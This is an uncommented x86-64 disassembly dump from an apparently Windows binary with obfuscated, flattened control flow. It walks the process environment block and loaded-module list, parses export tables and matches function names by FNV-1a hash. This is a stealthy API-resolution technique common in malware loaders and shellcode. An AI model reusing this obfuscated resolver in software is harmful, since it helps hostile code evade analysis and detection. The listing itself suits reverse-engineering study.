cmp eax, 0x7fb451c5
jne 0x140504850
mov eax, dword [0x140b856f0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xeb4ae1f6
mov ecx, 0x59073b2b
jmp 0x1405051d8
cmp eax, 0xb44ab987
je 0x140505167
cmp eax, 0xb87e0235
jne 0x140504850
jmp 0x140505c8c
mov ecx, dword [0x140b856f8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, dword [0x140b856fc]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140b85700], 0xa
setl dl
or dl, cl
mov r8d, 0x6bf73ec2
mov ecx, 0x7d25aa8e
cmovne r8d, ecx
mov r9d, 0x6bf73ec2
mov ecx, 0xf94ca7ae
cmovne r9d, ecx
mov ecx, dword [0x140b85704]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140b85708], 0xa
setl dl
or dl, cl
mov edx, 0x798dd711
mov ecx, 0x3d31fb61
cmovne edx, ecx
mov ebx, 0x798dd711
mov ecx, 0xce3f1919
cmovne ebx, ecx
mov edi, 0x7f908019
mov ecx, 0x8983f824
cmovne edi, ecx
mov esi, 0x7f908019
mov ecx, 0xcdc628d5
cmovne esi, ecx
test al, 1
sete byte [rbp + 0x300]
mov eax, dword [0x140b8570c]
mov r10d, 0xb9c6c537
mov ecx, 0x8480fe86
cmove r10d, ecx
cmp eax, 0xa
setl byte [rbp + 0x304]
cmovl r10d, ecx
mov eax, 0x352e0503
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xb9c6c536
jg 0x1405049c0
cmp eax, 0x8480fe86
je 0x1405049fd
cmp eax, 0x856c5805
je 0x14050517f
cmp eax, 0xb6475c17
jne 0x140504980
mov rax, qword [rbp + 0x310]
add rax, 0x10
mov qword [rbp + 0x328], rax
mov eax, 0x856c5805
jmp 0x140504980
cmp eax, 0xb9c6c537
je 0x140504a07
cmp eax, 0x538ccb85
je 0x140504a83
cmp eax, 0x352e0503
jne 0x140504980
mov cl, byte [rbp + 0x300]
cmp byte [rbp + 0x304], 0
mov eax, 0xb9c6c537
mov r14d, 0x538ccb85
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140504980
mov eax, 0xb6475c17
jmp 0x140504980
mov rax, qword gs:[0x60]
mov qword [rbp + 0x350], rax
mov ecx, 0x7b6aac1d
nop dword [rax]
cmp ecx, 0x6bf73ec1
jle 0x140504a50
cmp ecx, 0x6bf73ec2
je 0x140504a70
cmp ecx, 0x7b6aac1d
je 0x140504a7e
cmp ecx, 0x7d25aa8e
jne 0x140504a20
mov ecx, 0xe8c45ee4
jmp 0x140504a20
cmp ecx, 0xe8c45ee4
je 0x140504b03
cmp ecx, 0xf94ca7ae
jne 0x140504a20
mov rax, qword [rbp + 0x350]
mov ecx, r8d
jmp 0x140504a20
mov rcx, qword [rbp + 0x350]
mov ecx, 0xf94ca7ae
jmp 0x140504a20
mov ecx, r9d
jmp 0x140504a20
mov rax, qword gs:[0x60]
mov qword [rbp + 0x350], rax
mov ecx, 0x7b6aac1d
nop dword [rax + rax]
cmp ecx, 0x6bf73ec1
jle 0x140504ad0
cmp ecx, 0x6bf73ec2
je 0x140504af0
cmp ecx, 0x7b6aac1d
je 0x140504afe
cmp ecx, 0x7d25aa8e
jne 0x140504aa0
mov ecx, 0xe8c45ee4
jmp 0x140504aa0
cmp ecx, 0xe8c45ee4
je 0x140504c02
cmp ecx, 0xf94ca7ae
jne 0x140504aa0
mov rax, qword [rbp + 0x350]
mov ecx, r8d
jmp 0x140504aa0
mov rcx, qword [rbp + 0x350]
mov ecx, 0xf94ca7ae
jmp 0x140504aa0
mov ecx, r9d
jmp 0x140504aa0
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x340], rax
mov ecx, 0xba46d6b1
jmp 0x140504b30
mov rax, qword [rbp + 0x350]
mov ecx, 0xce3f1919
nop dword [rax + rax]
mov eax, ecx
cmp ecx, 0xce3f1918
jg 0x140504b60
cmp eax, 0xba46d6b0
jg 0x140504b90
cmp eax, 0x8983f824
je 0x140504bda
mov ecx, eax
cmp eax, 0x987da1af
jne 0x140504b30
mov ecx, ebx
jmp 0x140504b30
cmp eax, 0x798dd710
jle 0x140504bbb
cmp eax, 0x798dd711
je 0x140504b1f
mov ecx, eax
cmp eax, 0x7f908019
jne 0x140504b30
mov rax, qword [rbp + 0x340]
mov ecx, 0xcdc628d5
jmp 0x140504b30
mov ecx, esi
cmp eax, 0xba46d6b1
je 0x140504b30
mov ecx, eax
cmp eax, 0xcdc628d5
jne 0x140504b30
mov rax, qword [rbp + 0x340]
add rax, 0x18
mov qword [rbp + 0x350], rax
mov ecx, edi
jmp 0x140504b30
cmp eax, 0xce3f1919
jne 0x140504be4
mov rax, qword [rbp + 0x350]
mov rax, qword [rax]
mov qword [rbp + 0x358], rax
mov ecx, edx
jmp 0x140504b30
mov ecx, 0x987da1af
jmp 0x140504b30
mov ecx, eax
cmp eax, 0x3d31fb61
jne 0x140504b30
mov rax, qword [rbp + 0x358]
mov eax, 0x538ccb85
jmp 0x140504980
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x340], rax
mov ecx, 0xba46d6b1
jmp 0x140504c30
mov rax, qword [rbp + 0x350]
mov ecx, 0xce3f1919
nop word [rax + rax]
mov eax, ecx
cmp ecx, 0xce3f1918
jg 0x140504c60
cmp eax, 0xba46d6b0
jg 0x140504c90
cmp eax, 0x8983f824
je 0x140504cda
mov ecx, eax
cmp eax, 0x987da1af
jne 0x140504c30
mov ecx, ebx
jmp 0x140504c30
cmp eax, 0x798dd710
jle 0x140504cbb
cmp eax, 0x798dd711
je 0x140504c1e
mov ecx, eax
cmp eax, 0x7f908019
jne 0x140504c30
mov rax, qword [rbp + 0x340]
mov ecx, 0xcdc628d5
jmp 0x140504c30
mov ecx, esi
cmp eax, 0xba46d6b1
je 0x140504c30
mov ecx, eax
cmp eax, 0xcdc628d5
jne 0x140504c30
mov rax, qword [rbp + 0x340]
add rax, 0x18
mov qword [rbp + 0x350], rax
mov ecx, edi
jmp 0x140504c30
cmp eax, 0xce3f1919
jne 0x140504ce4
mov rax, qword [rbp + 0x350]
mov rax, qword [rax]
mov qword [rbp + 0x358], rax
mov ecx, edx
jmp 0x140504c30
mov ecx, 0x987da1af
jmp 0x140504c30
mov ecx, eax
cmp eax, 0x3d31fb61
jne 0x140504c30
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x310], rax
mov eax, r10d
jmp 0x140504980
mov ecx, dword [0x140b856f8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, dword [0x140b856fc]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140b85700], 0xa
setl dl
or dl, cl
mov r8d, 0x6bf73ec2
mov ecx, 0x7d25aa8e
cmovne r8d, ecx
mov r9d, 0x6bf73ec2
mov ecx, 0xf94ca7ae
cmovne r9d, ecx
mov ecx, dword [0x140b85704]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140b85708], 0xa
setl dl
or dl, cl
mov edx, 0x798dd711
mov ecx, 0x3d31fb61
cmovne edx, ecx
mov ebx, 0x798dd711
mov ecx, 0xce3f1919
cmovne ebx, ecx
mov edi, 0x7f908019
mov ecx, 0x8983f824
cmovne edi, ecx
mov esi, 0x7f908019
mov ecx, 0xcdc628d5
cmovne esi, ecx
test al, 1
sete byte [rbp + 0x300]
mov eax, dword [0x140b8570c]
mov r10d, 0xb9c6c537
mov ecx, 0x8480fe86
cmove r10d, ecx
cmp eax, 0xa
setl byte [rbp + 0x304]
cmovl r10d, ecx
mov eax, 0x352e0503
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xb9c6c536
jg 0x140504e20
cmp eax, 0x8480fe86
je 0x140504e5d
cmp eax, 0x856c5805
je 0x1405051a4
cmp eax, 0xb6475c17
jne 0x140504de0
mov rax, qword [rbp + 0x310]
add rax, 0x10
mov qword [rbp + 0x328], rax
mov eax, 0x856c5805
jmp 0x140504de0
cmp eax, 0xb9c6c537
je 0x140504e67
cmp eax, 0x538ccb85
je 0x140504ee3
cmp eax, 0x352e0503
jne 0x140504de0
mov cl, byte [rbp + 0x300]
cmp byte [rbp + 0x304], 0
mov eax, 0xb9c6c537
mov r14d, 0x538ccb85
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140504de0
mov eax, 0xb6475c17
jmp 0x140504de0
mov rax, qword gs:[0x60]
mov qword [rbp + 0x350], rax
mov ecx, 0x7b6aac1d
nop dword [rax]
cmp ecx, 0x6bf73ec1
jle 0x140504eb0
cmp ecx, 0x6bf73ec2
je 0x140504ed0
cmp ecx, 0x7b6aac1d
je 0x140504ede
cmp ecx, 0x7d25aa8e
jne 0x140504e80
mov ecx, 0xe8c45ee4
jmp 0x140504e80
cmp ecx, 0xe8c45ee4
je 0x140504f63
cmp ecx, 0xf94ca7ae
jne 0x140504e80
mov rax, qword [rbp + 0x350]
mov ecx, r8d
jmp 0x140504e80
mov rcx, qword [rbp + 0x350]
mov ecx, 0xf94ca7ae
jmp 0x140504e80
mov ecx, r9d
jmp 0x140504e80
mov rax, qword gs:[0x60]
mov qword [rbp + 0x350], rax
mov ecx, 0x7b6aac1d
nop dword [rax + rax]
cmp ecx, 0x6bf73ec1
jle 0x140504f30
cmp ecx, 0x6bf73ec2
je 0x140504f50
cmp ecx, 0x7b6aac1d
je 0x140504f5e
cmp ecx, 0x7d25aa8e
jne 0x140504f00
mov ecx, 0xe8c45ee4
jmp 0x140504f00
cmp ecx, 0xe8c45ee4
je 0x140505062
cmp ecx, 0xf94ca7ae
jne 0x140504f00
mov rax, qword [rbp + 0x350]
mov ecx, r8d
jmp 0x140504f00
mov rcx, qword [rbp + 0x350]
mov ecx, 0xf94ca7ae
jmp 0x140504f00
mov ecx, r9d
jmp 0x140504f00
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x340], rax
mov ecx, 0xba46d6b1
jmp 0x140504f90
mov rax, qword [rbp + 0x350]
mov ecx, 0xce3f1919
nop dword [rax + rax]
mov eax, ecx
cmp ecx, 0xce3f1918
jg 0x140504fc0
cmp eax, 0xba46d6b0
jg 0x140504ff0
cmp eax, 0x8983f824
je 0x14050503a
mov ecx, eax
cmp eax, 0x987da1af
jne 0x140504f90
mov ecx, ebx
jmp 0x140504f90
cmp eax, 0x798dd710
jle 0x14050501b
cmp eax, 0x798dd711
je 0x140504f7f
mov ecx, eax
cmp eax, 0x7f908019
jne 0x140504f90
mov rax, qword [rbp + 0x340]
mov ecx, 0xcdc628d5
jmp 0x140504f90
mov ecx, esi
cmp eax, 0xba46d6b1
je 0x140504f90
mov ecx, eax
cmp eax, 0xcdc628d5
jne 0x140504f90
mov rax, qword [rbp + 0x340]
add rax, 0x18
mov qword [rbp + 0x350], rax
mov ecx, edi
jmp 0x140504f90
cmp eax, 0xce3f1919
jne 0x140505044
mov rax, qword [rbp + 0x350]
mov rax, qword [rax]
mov qword [rbp + 0x358], rax
mov ecx, edx
jmp 0x140504f90
mov ecx, 0x987da1af
jmp 0x140504f90
mov ecx, eax
cmp eax, 0x3d31fb61
jne 0x140504f90
mov rax, qword [rbp + 0x358]
mov eax, 0x538ccb85
jmp 0x140504de0
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x340], rax
mov ecx, 0xba46d6b1
jmp 0x140505090
mov rax, qword [rbp + 0x350]
mov ecx, 0xce3f1919
nop word [rax + rax]
mov eax, ecx
cmp ecx, 0xce3f1918
jg 0x1405050c0
cmp eax, 0xba46d6b0
jg 0x1405050f0
cmp eax, 0x8983f824
je 0x14050513a
mov ecx, eax
cmp eax, 0x987da1af
jne 0x140505090
mov ecx, ebx
jmp 0x140505090
cmp eax, 0x798dd710
jle 0x14050511b
cmp eax, 0x798dd711
je 0x14050507e
mov ecx, eax
cmp eax, 0x7f908019
jne 0x140505090
mov rax, qword [rbp + 0x340]
mov ecx, 0xcdc628d5
jmp 0x140505090
mov ecx, esi
cmp eax, 0xba46d6b1
je 0x140505090
mov ecx, eax
cmp eax, 0xcdc628d5
jne 0x140505090
mov rax, qword [rbp + 0x340]
add rax, 0x18
mov qword [rbp + 0x350], rax
mov ecx, edi
jmp 0x140505090
cmp eax, 0xce3f1919
jne 0x140505144
mov rax, qword [rbp + 0x350]
mov rax, qword [rax]
mov qword [rbp + 0x358], rax
mov ecx, edx
jmp 0x140505090
mov ecx, 0x987da1af
jmp 0x140505090
mov ecx, eax
cmp eax, 0x3d31fb61
jne 0x140505090
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x310], rax
mov eax, r10d
jmp 0x140504de0
lea rax, [rbp + 0x330]
mov qword [rbp + 0x308], rax
mov eax, 0x7fb451c5
jmp 0x140504850
mov rax, qword [rbp + 0x328]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x308]
mov qword [rcx], rax
mov qword [rbp + 0x338], rax
mov eax, 0x59073b2b
jmp 0x140504850
mov rax, qword [rbp + 0x328]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x308]
mov qword [rcx], rax
mov qword [rbp + 0x338], rax
mov eax, dword [0x140b856f0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xeb4ae1f6
mov ecx, 0xb87e0235
cmove eax, ecx
cmp dword [0x140b856f4], 0xa
cmovl eax, ecx
jmp 0x140504850
mov eax, 0xadd06607
jmp 0x140504140
mov dword [rbp + 0x170], r13d
mov dword [rbp + 0x168], r12d
mov qword [rbp + 0x1a0], r15
mov rax, qword [rbp + 0x268]
mov qword [rbp + 0x150], rax
mov eax, dword [0x140b856e0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b856e4], 0xa
setl cl
or cl, al
mov edx, 0xd9536939
mov eax, 0x526c4a1b
cmovne edx, eax
mov edi, 0xd9536939
mov eax, 0x18424c
cmovne edi, eax
mov r8d, 0x487c4989
mov eax, 0x44405ebe
cmovne r8d, eax
mov eax, 0x487c4989
mov ecx, 0xec8d2f6a
cmovne eax, ecx
mov r9d, 0x32217ee9
mov ecx, 0xfe732f8f
cmovne r9d, ecx
mov r11d, 0x32217ee9
mov ecx, 0x319b1022
cmovne r11d, ecx
mov ecx, dword [0x140b856e8]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete cl
cmp dword [0x140b856ec], 0xa
setl bl
or bl, cl
mov ebx, 0x1936587e
mov ecx, 0x3450bef1
cmovne ebx, ecx
mov dword [rbp + 0x2c4], ebx
mov r10d, 0x1936587e
mov ecx, 0x2aa70969
cmovne r10d, ecx
mov esi, 0xfa2e6c52
jmp 0x1405052e0
mov esi, 0x2aa70969
nop word cs:[rax + rax]
nop
mov ebx, esi
cmp esi, 0xf5d8201
jle 0x140505320
cmp ebx, 0x3450bef0
jg 0x140505360
cmp ebx, 0xf5d8202
je 0x1405053ee
cmp ebx, 0x1936587e
je 0x1405052d0
mov esi, ebx
cmp ebx, 0x2aa70969
jne 0x1405052e0
mov esi, dword [rbp + 0x2c4]
jmp 0x1405052e0
cmp ebx, 0xc03ffea9
jg 0x1405053cc
cmp ebx, 0x89731815
je 0x14050540c
mov esi, r10d
cmp ebx, 0x97bcf3cc
je 0x1405052e0
mov esi, ebx
cmp ebx, 0xa396aca4
jne 0x1405052e0
mov esi, 0x89731815
jmp 0x1405052e0
cmp ebx, 0x3450bef1
je 0x140505427
cmp ebx, 0x41e78b31
je 0x140505442
mov esi, ebx
cmp ebx, 0x6fa5b8b5
jne 0x1405052e0
mov ecx, dword [rbp + 0x2c0]
mov dword [rbp + 0x300], ecx
mov ecx, dword [rbp + 0x2dc]
mov dword [rbp + 0x304], ecx
lea rbx, [r13 + 1]
mov qword [rbp + 0x358], rbx
mov bl, byte [r13]
mov byte [rbp + 0x34f], bl
cmp byte [rbp + 0x34f], 0
mov esi, 0x41e78b31
mov ebx, 0xf5d8202
cmove esi, ebx
jmp 0x1405052e0
cmp ebx, 0xce861a73
je 0x1405056da
cmp ebx, 0xfa2e6c52
jne 0x140505745
mov esi, 0x97bcf3cc
jmp 0x1405052e0
mov r14d, dword [rbp + 0x304]
mov esi, 0xce861a73
mov r15d, 1
mov r12d, dword [rbp + 0x304]
jmp 0x1405052e0
mov r14d, dword [rbp + 0x2b0]
mov esi, 0xce861a73
xor r15d, r15d
mov r12d, dword [rbp + 0x300]
jmp 0x1405052e0
mov esi, 0x6fa5b8b5
mov dword [rbp + 0x2dc], 0x811c9dc5
mov r13, qword [rbp + 0x150]
jmp 0x1405052e0
mov dword [rbp + 0x2bc], r12d
mov dword [rbp + 0x2e4], r15d
mov dword [rbp + 0x2f8], r14d
mov ecx, r10d
movsx ebx, byte [rbp + 0x34f]
mov r15d, dword [rbp + 0x304]
mov dword [rbp + 0x310], ebx
mov r10d, 0x99cb2414
mov esi, 0x796ae0dd
jmp 0x140505490
mov ebx, dword [rbp + 0x350]
xor ebx, r15d
imul r14d, ebx, 0x1000193
mov r10d, edx
nop
mov ebx, r10d
cmp r10d, 0xefa59d0
jle 0x1405054e0
cmp ebx, 0x44405ebd
jle 0x140505510
cmp ebx, 0x526c4a1a
jle 0x140505582
cmp ebx, 0x776aeffa
je 0x14050564e
mov r10d, eax
cmp ebx, 0x796ae0dd
je 0x140505490
mov r10d, ebx
cmp ebx, 0x526c4a1b
jne 0x140505490
jmp 0x140505710
cmp ebx, 0xec8d2f69
jg 0x140505550
cmp ebx, 0xbe589b90
jg 0x1405055ba
cmp ebx, 0x99cb2414
je 0x140505660
mov r10d, ebx
cmp ebx, 0xae8ad92c
jne 0x140505490
mov r10d, r11d
jmp 0x140505490
cmp ebx, 0x319b1021
jg 0x1405055ec
cmp ebx, 0xefa59d1
je 0x14050567b
mov r10d, ebx
cmp ebx, 0x171b7c71
jne 0x140505490
mov r10d, 0xefa59d1
mov r12d, dword [rbp + 0x328]
jmp 0x140505490
cmp ebx, 0x18424b
jg 0x140505618
cmp ebx, 0xec8d2f6a
je 0x14050568a
mov r10d, ebx
cmp ebx, 0xfe732f8f
jne 0x140505490
mov r10d, 0xbe589b91
jmp 0x140505490
cmp ebx, 0x44405ebe
je 0x1405056a1
mov r10d, ebx
cmp ebx, 0x487c4989
jne 0x140505490
mov ebx, dword [rbp + 0x310]
mov ebx, dword [rbp + 0x310]
mov ebx, dword [rbp + 0x310]
mov r10d, 0xec8d2f6a
jmp 0x140505490
cmp ebx, 0xbe589b91
je 0x1405056ac
mov r10d, ebx
cmp ebx, 0xd9536939
jne 0x140505490
mov ebx, dword [rbp + 0x350]
mov ebx, dword [rbp + 0x350]
mov r10d, 0x18424c
jmp 0x140505490
cmp ebx, 0x319b1022
je 0x1405056c2
mov r10d, ebx
cmp ebx, 0x32217ee9
jne 0x140505490
mov ebx, dword [rbp + 0x310]
mov r10d, 0x319b1022
jmp 0x140505490
cmp ebx, 0x18424c
je 0x14050547b
mov r10d, ebx
cmp ebx, 0xc34b97b
jne 0x140505490
cmp byte [rbp + 0x34c], 0
mov r10d, 0x776aeffa
mov ebx, 0xae8ad92c
cmovne r10d, ebx
jmp 0x140505490
mov r10d, 0xefa59d1
mov r12d, dword [rbp + 0x310]
jmp 0x140505490
mov ebx, dword [rbp + 0x310]
cmp ebx, 0x41
setge byte [rbp + 0x34c]
mov r10d, 0xc34b97b
jmp 0x140505490
mov dword [rbp + 0x350], r12d
mov r10d, edi
jmp 0x140505490
mov ebx, dword [rbp + 0x310]
or ebx, 0x20
mov dword [rbp + 0x328], ebx
mov r10d, r8d
jmp 0x140505490
mov r10d, 0x171b7c71
jmp 0x140505490
cmp byte [rbp + 0x34b], 0
mov r10d, 0x776aeffa
cmovne r10d, esi
jmp 0x140505490
mov ebx, dword [rbp + 0x310]
cmp ebx, 0x5b
setl byte [rbp + 0x34b]
mov r10d, r9d
jmp 0x140505490
mov dword [rbp + 0x308], r12d
test r15d, r15d
mov esi, 0xc03ffeaa
mov ecx, 0x6fa5b8b5
cmove esi, ecx
mov r13, qword [rbp + 0x358]
mov ecx, dword [rbp + 0x308]
mov dword [rbp + 0x2c0], ecx
mov dword [rbp + 0x2dc], r14d
jmp 0x1405052e0
mov dword [rbp + 0x340], r14d
mov ebx, dword [rbp + 0x340]
mov dword [rbp + 0x2b0], ebx
mov esi, 0xa396aca4
mov r10d, ecx
mov r14d, dword [rbp + 0x2f8]
mov r15d, dword [rbp + 0x2e4]
mov r12d, dword [rbp + 0x2bc]
jmp 0x1405052e0
mov esi, ebx
cmp ebx, 0xc03ffeaa
jne 0x1405052e0
mov eax, dword [rbp + 0x308]
mov dword [rbp + 0x2b4], eax
mov eax, 0xbf050585
lea r11, [rbp + 0x338]
mov r15, qword [rbp + 0x1a0]
mov r12d, dword [rbp + 0x168]
mov r13d, dword [rbp + 0x170]
jmp 0x140504140
mov rax, qword [rbp + 0x2c8]
mov rcx, qword [rax + 8]
mov edx, 0xf7c4658e
nop word cs:[rax + rax]
nop
cmp edx, 0xf7c4658e
je 0x1405057b5
cmp edx, 0x4fbde1db
jne 0x1405057a0
jmp 0x140505c96
mov edx, 0x4fbde1db
jmp 0x1405057a0
mov qword [rbp + 0x358], rbx
mov rax, qword [rbp + 0x358]
movzx eax, word [rax]
mov rcx, qword [rbp + 0x340]
mov eax, dword [rcx + rax*4]
add rax, qword [rbp + 0x328]
mov qword [rbp + 0x2d0], rax
mov eax, dword [0x140b86d40]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc127d0cf
mov ecx, 0x6c4781c
jmp 0x14050412a
mov eax, dword [rbp + 0x2b4]
cmp eax, 0x7e1b3ec5
mov eax, 0x4a37e19d
mov ecx, 0x54816a3a
cmove eax, ecx
mov ecx, dword [rbp + 0x2f4]
mov dword [rbp + 0x198], ecx
jmp 0x140504140
mov qword [rbp + 0x358], rbx
mov rax, qword [rbp + 0x358]
mov rax, qword [rbp + 0x340]
mov rax, qword [rbp + 0x328]
mov eax, 0x578cae4c
jmp 0x140504140
mov eax, dword [0x140b86d40]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc6f20e74
mov ecx, 0x8476c3ac
jmp 0x14050412a
mov eax, 0x14dac0dc
mov r13d, 1
mov rcx, qword [rbp + 0x2e8]
mov qword [rbp + 0x188], rcx
jmp 0x140504140
mov eax, dword [0x140b86d40]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc6f20e74
mov ecx, 0xeda2da80
jmp 0x14050412a
mov eax, 0x4a37e19d
mov ecx, dword [rbp + 0x2b8]
mov dword [rbp + 0x198], ecx
jmp 0x140504140
mov rax, qword [rbp + 0x2c8]
add rax, 8
mov qword [rbp + 0x358], rax
mov eax, dword [0x140b856c0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b856c4], 0xa
setl cl
or cl, al
mov ebx, 0x432b251
mov eax, 0x3aa0855b
cmovne ebx, eax
mov ecx, 0x432b251
mov eax, 0x95f629ed
cmovne ecx, eax
mov eax, 0x4aff8840
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0x128fa1b9
jle 0x140505950
cmp eax, 0x128fa1ba
je 0x140505cc7
cmp eax, 0x3aa0855b
je 0x14050596c
cmp eax, 0x4aff8840
jne 0x140505920
mov eax, ecx
jmp 0x140505920
cmp eax, 0x95f629ed
je 0x140505973
cmp eax, 0x432b251
jne 0x140505920
mov rax, qword [rbp + 0x358]
mov eax, 0x95f629ed
jmp 0x140505920
mov eax, 0x128fa1ba
jmp 0x140505920
mov rax, qword [rbp + 0x358]
mov rax, qword [rax]
mov edx, dword [rax + 0x18]
mov eax, ebx
jmp 0x140505920
mov rdx, qword [rbp + 0x2c8]
mov eax, dword [rbp + 0x2f4]
mov rcx, qword [rdx]
mov rdx, qword [rdx + 8]
mov ebx, 0xc21eb61a
nop dword [rax]
cmp ebx, 0x8c9a1fbe
je 0x140505ce3
cmp ebx, 0xc21eb61a
jne 0x1405059a0
mov qword [rbp + 0x350], rcx
mov ebx, dword [rdx + 0x20]
add rbx, qword [rbp + 0x350]
mov ebx, dword [rbx + rax*4]
mov qword [rbp + 0x358], rbx
mov ebx, 0x8c9a1fbe
jmp 0x1405059a0
mov eax, dword [0x140b856d8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b856dc], 0xa
setl cl
or cl, al
mov r8d, 0xfb979345
mov eax, 0xdfe877e2
cmovne r8d, eax
mov eax, 0xfb979345
mov ecx, 0x197355fc
cmovne eax, ecx
mov ecx, dword [0x140b856d0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140b856d4], 0xa
setl dl
or dl, cl
mov r9d, 0x49bfbe0a
mov ecx, 0x43bd80c
cmovne r9d, ecx
mov ebx, 0x49bfbe0a
mov ecx, 0x9ae64220
cmovne ebx, ecx
mov ecx, 0x227d50b9
jmp 0x140505a60
mov rcx, qword [rbp + 0x310]
mov ecx, 0x197355fc
nop dword [rax]
mov esi, ecx
cmp ecx, 0x197355fb
jle 0x140505ab0
cmp esi, 0x301a537c
jle 0x140505ae0
cmp esi, 0x3ac141a9
je 0x140505baf
cmp esi, 0x47508655
jne 0x140505c13
mov rcx, qword [rbp + 0x340]
mov rcx, qword [rcx]
mov qword [rbp + 0x350], rcx
mov ecx, 0x3ac141a9
jmp 0x140505a60
cmp esi, 0xfb979344
jg 0x140505b70
mov ecx, eax
cmp esi, 0xb26fbda0
je 0x140505a60
mov ecx, esi
cmp esi, 0xdfe877e2
jne 0x140505a60
mov ecx, 0x47508655
jmp 0x140505a60
cmp esi, 0x197355fc
je 0x140505bc5
mov ecx, esi
cmp esi, 0x227d50b9
jne 0x140505a60
mov rcx, qword [rbp + 0x330]
mov rcx, qword [rcx]
mov edx, 0xdf6722b2
nop dword [rax]
cmp edx, 0xe111c3c7
jle 0x140505b40
cmp edx, 0x49bfbe0a
je 0x140505b57
cmp edx, 0x43bd80c
je 0x140505bdf
cmp edx, 0xe111c3c8
jne 0x140505b10
mov edx, ebx
jmp 0x140505b10
cmp edx, 0x9ae64220
je 0x140505b5e
cmp edx, 0xdf6722b2
jne 0x140505b10
mov edx, 0xe111c3c8
jmp 0x140505b10
mov edx, 0x9ae64220
jmp 0x140505b10
mov edx, r9d
jmp 0x140505b10
cmp esi, 0xfb979345
je 0x140505a51
mov ecx, esi
cmp esi, 0x2b74b72
jne 0x140505a60
mov rcx, qword [rbp + 0x328]
mov rdx, qword [rbp + 0x310]
cmp rdx, qword [rcx]
mov ecx, 0xb26fbda0
mov edx, 0x301a537d
cmove ecx, edx
xor edi, edi
jmp 0x140505a60
cmp qword [rbp + 0x350], 0
setne dil
mov ecx, 0x301a537d
jmp 0x140505a60
mov rcx, qword [rbp + 0x310]
add rcx, 0x30
mov qword [rbp + 0x340], rcx
mov ecx, r8d
jmp 0x140505a60
mov qword [rbp + 0x358], rcx
mov rcx, qword [rbp + 0x358]
mov qword [rbp + 0x310], rcx
mov rcx, qword [rbp + 0x310]
mov qword [rbp + 0x330], rcx
mov qword [rbp + 0x328], r11
mov ecx, 0x2b74b72
jmp 0x140505a60
mov ecx, esi
cmp esi, 0x301a537d
jne 0x140505a60
and dil, 1
mov byte [rbp + 0x34d], dil
mov eax, 0xf7a293cd
jmp 0x140504140
cmp dword [rbp + 0x2d8], 0
sete byte [rbp + 0x34e]
mov eax, dword [0x140b86d40]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe981f3db
mov ecx, 0x678522ce
jmp 0x14050412a
cmp byte [rbp + 0x34e], 0
mov eax, 0x542f178
mov ecx, 0x16917014
cmovne eax, ecx
mov r15, qword [rbp + 0x278]
jmp 0x140504140
mov eax, 0xeda2da80
jmp 0x140504140
mov eax, 0xbb9489f0
jmp 0x140504140
mov qword [rbp + 0x358], rcx
mov rcx, qword [rbp + 0x358]
cmp qword [rax], rcx
mov eax, 0x3177222f
mov ecx, 0x6e0eb7
cmove eax, ecx
mov rcx, qword [rbp + 0x280]
mov qword [rbp + 0x1a8], rcx
jmp 0x140504140
mov dword [rbp + 0x350], edx
mov eax, dword [rbp + 0x350]
mov dword [rbp + 0x2b8], eax
mov eax, 0x893675d2
jmp 0x140504140
mov rax, qword [rbp + 0x350]
add rax, qword [rbp + 0x358]
mov qword [rbp + 0x268], rax
mov eax, 0x8b8ab031
jmp 0x140504140
cmp eax, 0x542f178
jne 0x140504140
jmp 0x1405081ca
mov eax, 0x8c09fc77
jmp 0x140504140
cmp eax, 0x8b589ce0
jg 0x140506d83
cmp eax, 0x8a8f91a5
je 0x140508206
cmp eax, 0x8a940594
je 0x140508232
cmp eax, 0x8abf0714
jne 0x140501b1d
mov eax, dword [rbp - 4]
mov dword [rbp + 0xb4], eax
mov al, byte [rbp + 0x2e2]
mov dword [rbp + 0x10c], eax
mov eax, 0xeb262fc9
jmp 0x140501b1d
cmp eax, 0x10a8bb29
jg 0x140506dbd
cmp eax, 0xfdf2272
je 0x140508257
cmp eax, 0x107852e5
je 0x140508261
cmp eax, 0x10a296ce
jne 0x140501b1d
mov cl, byte [rbp + 0x1cf]
cmp byte [rbp + 0x1ce], 0
mov eax, 0x3f31ab2d
mov edx, 0x640da4ff
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140501b1d
cmp eax, 0xcacb336d
jg 0x140506e22
cmp eax, 0xc89af085
je 0x140508275
cmp eax, 0xc9fdb6b8
je 0x14050827f
cmp eax, 0xca3f76af
jne 0x140501b1d
mov esi, dword [0x140b84d8c]
